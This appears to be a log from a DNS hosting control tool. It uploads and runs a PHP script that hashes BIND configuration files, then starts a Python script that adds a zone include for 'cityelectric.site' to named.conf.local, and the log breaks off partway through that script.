MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 70b9922061e3b24d36e75c572c9b30b1
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 16:09:10: Establishing a connection
2026-02-09 16:09:10: Establishing a connection
2026-02-09 16:09:11: 

PUT: /tmp/pkp324367

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 16:09:11: 

runuser -l bind -s /bin/bash -c '/tmp/pkp324367; rm /tmp/pkp324367'

2026-02-09 16:09:11: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 70b9922061e3b24d36e75c572c9b30b1
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 16:09:11: 

PUT: /tmp/pkp315701

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '73c7599fdd5ae53f1a22acdec3f96f94'
ZONE_NAME = 'cityelectric.site'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
